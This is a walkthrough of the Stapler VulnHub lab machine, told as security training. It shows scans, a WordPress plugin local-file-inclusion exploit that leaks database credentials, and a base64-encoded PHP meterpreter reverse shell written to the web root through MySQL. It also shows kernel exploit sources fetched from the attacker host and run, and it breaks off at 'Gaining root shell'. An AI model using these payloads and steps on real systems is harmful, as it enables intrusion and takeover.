Stapler
Intro
This is my walkthrough of the Stapler vulnhub machine. You can find this machine at Stapler. If you want to attempt to hack into this machine without spoilers, don’t read the rest of this walkthrough.
Located machine on network
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@sengen-kali:~/vulnhub/stapler# nmap 192.168.56.0/24 -sn
Starting Nmap 7.50 ( https://nmap.org ) at 2017-07-28 10:16 PDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.1
Host is up (0.00013s latency).
MAC Address: 0A:00:27:00:00:00 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00023s latency).
MAC Address: 08:00:27:3C:94:BA (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up (0.00032s latency).
MAC Address: 08:00:27:51:F5:BC (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 4.98 seconds
Performed onetwopunch / nmap scans
Using the onetwopunch script which combines unicornscan and nmap I scanned the machine looking for open ports.
1
root@sengen-kali:~/vulnhub/stapler# ~/onetwopunch.sh -t target.txt -p all -n "-A -sV"
[*] TCP ports for nmap to scan: 21,22,53,80,139,666,3306,12380
[*] UDP ports for nmap to scan: 53,137,45018
Based on our initial scan the following software/versions are revealed
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp open domain dnsmasq 2.75
80/tcp open http PHP cli server 5.5 or later
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Looking into web ports
Will start by investigating the web ports which appear to be 80 and 12380
Protip: when using curl against the sites you should add the --insecure or -k switch so that you get results back even if it doesn’t have a valid cert. If I did not do this I would have seen nothing come back for SSL on 12380
1
2
3
root@sengen-kali:~/vulnhub/stapler# curl -s -k http://192.168.56.102:80 | html2text
****** Not Found ******
The requested resource / was not found on this server.
1
2
3
4
5
6
7
root@sengen-kali:~/vulnhub/stapler# curl -s -k http://192.168.56.102:12380 | html2text
****** Coming Soon ******
*** Sorry guys, BSides happened too quick! Didn't have enough time to finish
the website. ***
** Try again next year. **
Made with by Creative_Tim. Free download here.
1
2
root@sengen-kali:~/vulnhub/stapler# curl -s -k https://192.168.56.102:12380 | html2text
Internal Index Page!
The web site on port 12380 seems to contain something of interest but we’ll gobuster them all
1
2
3
4
5
6
7
8
9
10
11
12
13
root@sengen-kali:~/vulnhub/stapler# gobuster -u http://192.168.56.102:80 -w /usr/share/wordlists/SecLists/Discovery/Web_Content/common.txt
Gobuster v1.2 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://192.168.56.102:80/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/SecLists/Discovery/Web_Content/common.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/.bashrc (Status: 200)
/.profile (Status: 200)
=====================================================
1
2
3
4
5
6
7
8
9
10
11
root@sengen-kali:~/vulnhub/stapler# gobuster -u http://192.168.56.102:12380 -w /usr/share/wordlists/SecLists/Discovery/Web_Content/common.txt
Gobuster v1.2 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://192.168.56.102:12380/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/SecLists/Discovery/Web_Content/common.txt
[+] Status codes : 200,204,301,302,307
=====================================================
=====================================================
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@sengen-kali:~/vulnhub/stapler# gobuster -u https://192.168.56.102:12380 -w /usr/share/wordlists/SecLists/Discovery/Web_Content/common.txt
Gobuster v1.2 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : https://192.168.56.102:12380/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/SecLists/Discovery/Web_Content/common.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/announcements (Status: 301)
/index.html (Status: 200)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/robots.txt (Status: 200)
=====================================================
I noticed .bashrc and .profile files were on port 80 and looked at them with the following commands. These usually reside at the root of a users home directory so this is odd and may indicated that the port 80 web is actually mounted at an actual home directory (or this is a red herring to throw us off)
1
2
root@sengen-kali:~/vulnhub/stapler# curl -s -k http://192.168.56.102:80/.bashrc
root@sengen-kali:~/vulnhub/stapler# curl -s -k http://192.168.56.102:80/.profile
Nothing of interest was in these files as they looked pretty normal to me.
SSL on 12380
SSL on 12380 is another story… a lot is going on here. Need to check robots.txt and /phpmyadmin is always a top target
1
2
3
4
root@sengen-kali:~/vulnhub/stapler# curl -s -k https://192.168.56.102:12380/robots.txt
User-agent: *
Disallow: /admin112233/
Disallow: /blogblog/
Tried default credentials
Attempted several default credentials against https://192.168.56.102:12380/phpmyadmin/index.php but none of them worked
Looked at https://192.168.56.102:12380/admin112233
When using curl the javascript doesn’t run but when navigating to it through the browser it does and states “This could of been a BeEF-XSS hook ;)” which doesn’t look like anything for us to exploit but it could be bade if we were hit with this for real in an actual environment (you would not see the message box of course).
Looked at https://192.168.56.102:12380/blogblog/
This is a WordPress blog site. Has a couple posts and the next thing should be running a wpscan against it to see if we can find any vulnerabilities with it.
Ran WordPress Scan (wpscan)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@sengen-kali:~/vulnhub/stapler# wpscan --url https://192.168.56.102:12380/blogblog --disable-tls-checks
[+] URL: https://192.168.56.102:12380/blogblog/
[+] Started: Fri Jul 28 12:19:23 2017
[!] The WordPress 'https://192.168.56.102:12380/blogblog/readme.html' file exists exposing a version number
[+] Interesting header: DAVE: Soemthing doesn't look right here
[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[!] Registration is enabled: https://192.168.56.102:12380/blogblog/wp-login.php?action=register
[+] XML-RPC Interface available under: https://192.168.56.102:12380/blogblog/xmlrpc.php
[!] Upload directory has directory listing enabled: https://192.168.56.102:12380/blogblog/wp-content/uploads/
[!] Includes directory has directory listing enabled: https://192.168.56.102:12380/blogblog/wp-includes/
[+] WordPress version 4.2.1 (Released on 2015-04-27) identified from advanced fingerprinting, meta generator, readme, links opml, stylesheets numbers
[!] 41 vulnerabilities identified from the version number
<cut for brevity>
A lot of XSS and CSRF vulnerabilites which probably won’t apply to us for this type of machine. The ones that stood out as possibilities are below:
1
2
3
4
5
6
7
8
9
10
11
12
[!] Title: WordPress 3.5-4.7.1 - WP_Query SQL Injection<br />
Reference: https://wpvulndb.com/vulnerabilities/8730<br />
Reference: https://wordpress.org/news/2017/01/wordpress-4-7-2-security-release/<br />
Reference: https://github.com/WordPress/WordPress/commit/85384297a60900004e27e417eac56d24267054cb<br />
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5611<br />
[i] Fixed in: 4.2.12<br />
[!] Title: WordPress 2.3-4.7.5 - Host Header Injection in Password Reset<br />
Reference: https://wpvulndb.com/vulnerabilities/8807<br />
Reference: https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html<br />
Reference: http://blog.dewhurstsecurity.com/2017/05/04/exploitbox-wordpress-security-advisories.html<br />
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8295<br />
Some directory listings are said to be available as well so it is always a good idea to check that out especially to find plugins used.
Navigated to https://192.168.56.102:12380/blogblog/wp-content/uploads/ which was an empty directory. I did a quick check to see if I could “PUT” files there via the following command (PUT is not among the available VERBS):
1
2
3
4
5
6
7
8
9
10
root@sengen-kali:~/vulnhub/stapler# curl -vX OPTIONS https://192.168.56.102:12380/blogblog/wp-content/uploads/ -k
...
< HTTP/1.1 200 OK
< Date: Fri, 28 Jul 2017 12:27:51 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Allow: GET,HEAD,POST,OPTIONS
< Dave: Soemthing doesn't look right here
< Content-Length: 0
< Content-Type: httpd/unix-directory
...
WordPress Plugins
Through traversal I got to the plugins directory at https://192.168.56.102:12380/blogblog/wp-content/plugins/ which listed the following (NOTE: I also ran wpscan with --enumerate p but it did not show all of these plugins here so if you can get directory browsing you should always double-check what wpscan tells you): 
Some version information extracted from the files in the plugin directories
two-factor = not sure
shortcode-ui = 0.4.0
advanced video = 1.0
Used searchsploit to check for any known issues and the following came up as the most promising
1
2
3
4
5
6
7
root@sengen-kali:~/vulnhub/stapler# searchsploit advanced video
----------------------------------------------------------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/platforms/)
----------------------------------------------------------------------------------------------- ----------------------------------
WordPress Plugin Advanced Video 1.0 - Local File Inclusion | php/webapps/39646.py
----------------------------------------------------------------------------------------------- ----------------------------------
I downloaded this python file and updated it for my target
Changed:
url = "http://127.0.0.1/wordpress"
To
url = "https://192.168.56.102:12380/blogblog"
I ran the script and it failed complaining about SSL issues
urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:661)>
Fine, I can fix this script with some simple python changes to make it not care about that.
Added the following to the top of the script
1
2
3
4
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
Made the urlopen calls use this new context I created
Changed:
objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php') To:
objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php', context=ctx)
Changed:
objHtml = urllib2.urlopen(url + '/?p=' + str(id))
To:
objHtml = urllib2.urlopen(url + '/?p=' + str(id), context=ctx)
Ran the exploit again and it successfully created a 260355091.jpeg file in the uploads directory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@sengen-kali:~/vulnhub/stapler# curl -k https://192.168.56.102:12380/blogblog/wp-content/uploads/260355091.jpeg
...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'plbkac');
/** MySQL hostname */
define('DB_HOST', 'localhost');
...
This gave us the credentials needed to log into the phpmyadmin site
Often you can update a page to put a reverse shell in. I often do this if a template/theme is available. It is possible that I could download the theme, update it, and then re-upload it to make this work with export/import.
After browing in phpmyadmin for a little bit I realized that 3306 was open publically and it was MySQL. Maybe, if I’m lucky I can connect remotely and write shellcode through the SQL.
Connecting to MySQL remotely
We are connected and from experience my first test here is whether or not select into outfile works. If it does, then we can drop a shell file into the web directory to gain a shell.
We know the end path is /blogblog/wp-content/uploads/ so we need to figure out where this is relative from. In general, the default locations to try are /var/www and /var/www/html. In this case, through trial-and-error I found that it was /var/www/https. The https instead of html for the directory tripped me up for awhile but finally got a good test file to drop into the uploads directory.
Success!
Creating real PHP shellcode and dropping it onto the server using the same technique
1
2
3
4
5
6
7
8
root@sengen-kali:~/vulnhub/stapler# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 -e php/base64 > shell.php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1289 (iteration=0)
php/base64 chosen with final size 1289
Payload size: 1289 bytes
The resulting shellcode needs <?php ?> added into it turning it into the following
1
<?php eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE5Mi4xNjguNTYuMTAxJzsgJHBvcnQgPSA0NDM7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gZWxzZWlmICgoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBlbHNlaWYgKCgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBlbHNlIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTsg.JGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgZXZhbCgkYik7IGRpZSgpOw)); ?>
Used the “select into outfile” MySQL statement to drop my shell into the uploads directory
Setup multi/handler to recieve a shell and invoked shell.php
Escalation to root
Get ourselves a better PTY
1
2
3
4
which python
/usr/bin/python
/usr/bin/python -c 'import pty;pty.spawn("/bin/bash");'
www-data@red:/var/www/https/blogblog/wp-content/uploads$
Gaining some information about the system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
www-data@red:/var/www/https/blogblog/wp-content/uploads$ uname -a
uname -a
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
www-data@red:/var/www/https/blogblog/wp-content/uploads$ ls -l /etc/passwd
ls -l /etc/passwd
-rw-r--r-- 1 root root 2908 Jun 4 2016 /etc/passwd
www-data@red:/var/www/https/blogblog/wp-content/uploads$ ls -l /etc/shadow
ls -l /etc/shadow
-rw-r----- 1 root shadow 4518 Jun 5 2016 /etc/shadow
www-data@red:/tmp$ cat /etc/*release*
cat /etc/*release*
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04 LTS"
NAME="Ubuntu"
VERSION="16.04 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
UBUNTU_CODENAME=xenial
Searching for kernel exploit
1
2
3
4
5
6
7
root@sengen-kali:~/vulnhub/stapler# searchsploit 4.4.0-21
---------------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/platforms/)
---------------------------------------------------- ----------------------------------
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilte | lin_x86-64/local/40049.c
---------------------------------------------------- ----------------------------------
Attempting exploit
This exploit breaks out into two files: decr.c and pwn.c so I extracted the source from the 40049.c file and copied them over to the target machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
www-data@red:/tmp$ wget http://192.168.56.101/decr.c
wget http://192.168.56.101/decr.c
--2017-07-28 14:37:32-- http://192.168.56.101/decr.c
Connecting to 192.168.56.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3571 (3.5K) [text/x-csrc]
Saving to: 'decr.c'
decr.c 100%[===================>] 3.49K --.-KB/s in 0s
2017-07-28 14:37:32 (281 MB/s) - 'decr.c' saved [3571/3571]
www-data@red:/tmp$ wget http://192.168.56.101/pwn.c
wget http://192.168.56.101/pwn.c
--2017-07-28 14:37:42-- http://192.168.56.101/pwn.c
Connecting to 192.168.56.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1163 (1.1K) [text/x-csrc]
Saving to: 'pwn.c'
pwn.c 100%[===================>] 1.14K --.-KB/s in 0s
2017-07-28 14:37:42 (158 MB/s) - 'pwn.c' saved [1163/1163]
Compiled
1
2
3
4
5
6
7
www-data@red:/tmp$ gcc decr.c -m32 -O2 -o decr
gcc decr.c -m32 -O2 -o decr
www-data@red:/tmp$ gcc pwn.c -O2 -o pwn
gcc pwn.c -O2 -o pwn
pwn.c: In function 'privesc':
pwn.c:25:42: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
commit_creds(prepare_kernel_cred((uint64_t)NULL));
Ran exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@red:/tmp$ ./decr
./decr
netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
[!] Decrementing the refcount. This may take a while...
[!] Wait for the "Done" message (even if you'll get the prompt back).
www-data@red:/tmp$ [+] Done! Now run ./pwn
./pwn
./pwn
[+] Escalating privs...
pwn: pwn.c:44: main: Assertion `!getuid()' failed.
Aborted (core dumped)
www-data@red:/tmp$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Failed… this did not work right.
Looked at the exploit DB article again and it has a comment about “SMEP/SMAP bypass available in descr_v2.c”
Reading more it seems this may not work for me due to it being in a VM as this exploit is against an issue in an Intel CPU that might not be emulated right in VirtualBox… or it just plain won’t work in this situation.
Did some more searchsploit queries based on the machine being Ubuntu 16.04
1
2
3
4
5
6
7
8
9
10
root@sengen-kali:~/vulnhub/stapler# searchsploit linux kernel 4.4 ubuntu 16.04
---------------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/platforms/)
---------------------------------------------------- ----------------------------------
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Privilege E | linux/local/40759.rb
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'A | lin_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilte | lin_x86-64/local/40049.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput() | linux/local/39772.txt
---------------------------------------------------- ----------------------------------
Narrowed down on the double-fdput() exploit. Link to Exploit-DB page with download to POC zip is here https://www.exploit-db.com/exploits/39772/.
Transfering files to target
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
www-data@red:/tmp$ wget http://192.168.56.101/compile.sh
wget http://192.168.56.101/compile.sh
--2017-07-28 15:19:04-- http://192.168.56.101/compile.sh
Connecting to 192.168.56.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 155 [text/x-sh]
Saving to: 'compile.sh'
compile.sh 100%[===================>] 155 --.-KB/s in 0s
2017-07-28 15:19:04 (24.5 MB/s) - 'compile.sh' saved [155/155]
www-data@red:/tmp$ wget http://192.168.56.101/doubleput.c
wget http://192.168.56.101/doubleput.c
--2017-07-28 15:19:17-- http://192.168.56.101/doubleput.c
Connecting to 192.168.56.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4188 (4.1K) [text/x-csrc]
Saving to: 'doubleput.c'
doubleput.c 100%[===================>] 4.09K --.-KB/s in 0s
2017-07-28 15:19:17 (446 MB/s) - 'doubleput.c' saved [4188/4188]
www-data@red:/tmp$ wget http://192.168.56.101/hello.c
wget http://192.168.56.101/hello.c
--2017-07-28 15:19:26-- http://192.168.56.101/hello.c
Connecting to 192.168.56.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2186 (2.1K) [text/x-csrc]
Saving to: 'hello.c'
hello.c 100%[===================>] 2.13K --.-KB/s in 0s
2017-07-28 15:19:26 (336 MB/s) - 'hello.c' saved [2186/2186]
www-data@red:/tmp$ wget http://192.168.56.101/suidhelper.c
wget http://192.168.56.101/suidhelper.c
--2017-07-28 15:19:37-- http://192.168.56.101/suidhelper.c
Connecting to 192.168.56.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 255 [text/x-csrc]
Saving to: 'suidhelper.c'
suidhelper.c 100%[===================>] 255 --.-KB/s in 0s
2017-07-28 15:19:37 (23.8 MB/s) - 'suidhelper.c' saved [255/255]
Compiling
1
2
3
4
5
6
7
8
9
www-data@red:/tmp$ ./compile.sh
./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.insns = (__aligned_u64) insns,
^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.license = (__aligned_u64)""
^
Gaining root shell
